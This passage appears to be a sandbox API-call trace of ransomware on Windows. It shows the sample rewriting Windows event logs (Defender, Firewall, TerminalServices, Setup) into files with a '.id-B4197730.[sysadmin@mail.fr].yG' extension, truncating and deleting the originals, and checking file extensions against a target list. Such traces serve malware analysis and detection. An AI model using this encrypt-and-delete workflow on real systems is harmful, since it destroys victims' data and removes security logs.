	[0053.379] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.381] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.381] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x160, lpOverlapped=0x0) returned 1
	[0053.381] SetEndOfFile (hFile=0x348) returned 1
	[0053.437] CloseHandle (hObject=0x348) returned 1
	[0053.593] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.593] SetEndOfFile (hFile=0x350) returned 1
	[0053.595] CloseHandle (hObject=0x350) returned 1
	[0053.595] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.595] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString=".doc") returned 4
	[0053.596] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".docx") returned 5
	[0053.596] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.596] lstrlenW (lpString=".pdf") returned 4
	[0053.596] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".xls") returned 4
	[0053.596] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".xlsx") returned 5
	[0053.596] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.596] lstrlenW (lpString=".ppt") returned 4
	[0053.596] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString=".zip") returned 4
	[0053.596] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".rar") returned 4
	[0053.596] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".bz2") returned 4
	[0053.596] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString=".7z") returned 3
	[0053.596] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString=".dbf") returned 4
	[0053.596] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString=".1cd") returned 4
	[0053.596] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.596] lstrlenW (lpString=".jpg") returned 4
	[0053.596] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString=".doc") returned 4
	[0053.597] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".docx") returned 5
	[0053.597] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.597] lstrlenW (lpString=".pdf") returned 4
	[0053.597] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".xls") returned 4
	[0053.597] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".xlsx") returned 5
	[0053.597] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.597] lstrlenW (lpString=".ppt") returned 4
	[0053.597] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString=".zip") returned 4
	[0053.597] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".rar") returned 4
	[0053.597] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".bz2") returned 4
	[0053.597] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString=".7z") returned 3
	[0053.597] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString=".dbf") returned 4
	[0053.597] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString=".1cd") returned 4
	[0053.597] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0053.597] lstrlenW (lpString=".jpg") returned 4
	[0053.597] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.597] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.597] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44
	[0053.598] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.598] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0053.598] CloseHandle (hObject=0x350) returned 1
	[0053.598] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0053.598] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.598] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.598] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.598] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.598] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.598] GetLastError () returned 0x0
	[0053.598] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.626] WriteFile (in: hFile=0x394, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.628] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.628] WriteFile (in: hFile=0x394, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0053.628] SetEndOfFile (hFile=0x394) returned 1
	[0053.628] CloseHandle (hObject=0x394) returned 1
	[0053.630] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.630] SetEndOfFile (hFile=0x350) returned 1
	[0053.631] CloseHandle (hObject=0x350) returned 1
	[0053.631] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.631] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1
	[0053.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.631] lstrlenW (lpString=".doc") returned 4
	[0053.631] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.631] lstrlenW (lpString=".docx") returned 5
	[0053.631] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.632] lstrlenW (lpString=".pdf") returned 4
	[0053.632] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".xls") returned 4
	[0053.632] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".xlsx") returned 5
	[0053.632] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.632] lstrlenW (lpString=".ppt") returned 4
	[0053.632] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString=".zip") returned 4
	[0053.632] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".rar") returned 4
	[0053.632] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".bz2") returned 4
	[0053.632] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".7z") returned 3
	[0053.632] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString=".dbf") returned 4
	[0053.632] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString=".1cd") returned 4
	[0053.632] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString=".jpg") returned 4
	[0053.632] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.632] lstrlenW (lpString=".doc") returned 4
	[0053.632] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".docx") returned 5
	[0053.632] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.632] lstrlenW (lpString=".pdf") returned 4
	[0053.632] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".xls") returned 4
	[0053.632] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.632] lstrlenW (lpString=".xlsx") returned 5
	[0053.632] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.633] lstrlenW (lpString=".ppt") returned 4
	[0053.633] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.633] lstrlenW (lpString=".zip") returned 4
	[0053.633] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString=".rar") returned 4
	[0053.633] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString=".bz2") returned 4
	[0053.633] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString=".7z") returned 3
	[0053.633] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.633] lstrlenW (lpString=".dbf") returned 4
	[0053.633] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.633] lstrlenW (lpString=".1cd") returned 4
	[0053.633] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.633] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0053.633] lstrlenW (lpString=".jpg") returned 4
	[0053.633] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.633] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.633] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72
	[0053.633] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0053.658] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1052672) returned 1
	[0053.658] CloseHandle (hObject=0x2ec) returned 1
	[0053.658] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0053.658] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.658] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0053.658] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.658] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.658] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.661] GetLastError () returned 0x0
	[0053.661] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0053.790] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0053.805] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0053.819] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0053.822] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.822] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x164, lpOverlapped=0x0) returned 1
	[0053.822] SetEndOfFile (hFile=0x348) returned 1
	[0054.045] CloseHandle (hObject=0x348) returned 1
	[0054.095] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.095] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.096] CloseHandle (hObject=0x2ec) returned 1
	[0054.096] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0054.096] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1
	[0054.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.096] lstrlenW (lpString=".doc") returned 4
	[0054.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.096] lstrlenW (lpString=".docx") returned 5
	[0054.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.096] lstrlenW (lpString=".pdf") returned 4
	[0054.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.096] lstrlenW (lpString=".xls") returned 4
	[0054.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.096] lstrlenW (lpString=".xlsx") returned 5
	[0054.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.097] lstrlenW (lpString=".ppt") returned 4
	[0054.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".zip") returned 4
	[0054.097] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".rar") returned 4
	[0054.097] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".bz2") returned 4
	[0054.097] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".7z") returned 3
	[0054.097] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".dbf") returned 4
	[0054.097] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".1cd") returned 4
	[0054.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".jpg") returned 4
	[0054.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".doc") returned 4
	[0054.097] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".docx") returned 5
	[0054.097] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0054.097] lstrlenW (lpString=".pdf") returned 4
	[0054.097] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".xls") returned 4
	[0054.097] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".xlsx") returned 5
	[0054.097] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0054.097] lstrlenW (lpString=".ppt") returned 4
	[0054.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.097] lstrlenW (lpString=".zip") returned 4
	[0054.097] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0054.097] lstrlenW (lpString=".rar") returned 4
	[0054.098] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0054.098] lstrlenW (lpString=".bz2") returned 4
	[0054.098] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0054.098] lstrlenW (lpString=".7z") returned 3
	[0054.098] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0054.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.098] lstrlenW (lpString=".dbf") returned 4
	[0054.098] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0054.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.098] lstrlenW (lpString=".1cd") returned 4
	[0054.098] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0054.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0054.098] lstrlenW (lpString=".jpg") returned 4
	[0054.098] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0054.098] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0054.098] lstrlenW (lpString="Setup.evtx") returned 10
	[0054.098] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.098] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0054.098] CloseHandle (hObject=0x2ec) returned 1
	[0054.098] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0054.098] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0054.098] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.099] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.099] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.099] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.099] GetLastError () returned 0x0
	[0054.099] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0054.114] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0054.116] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
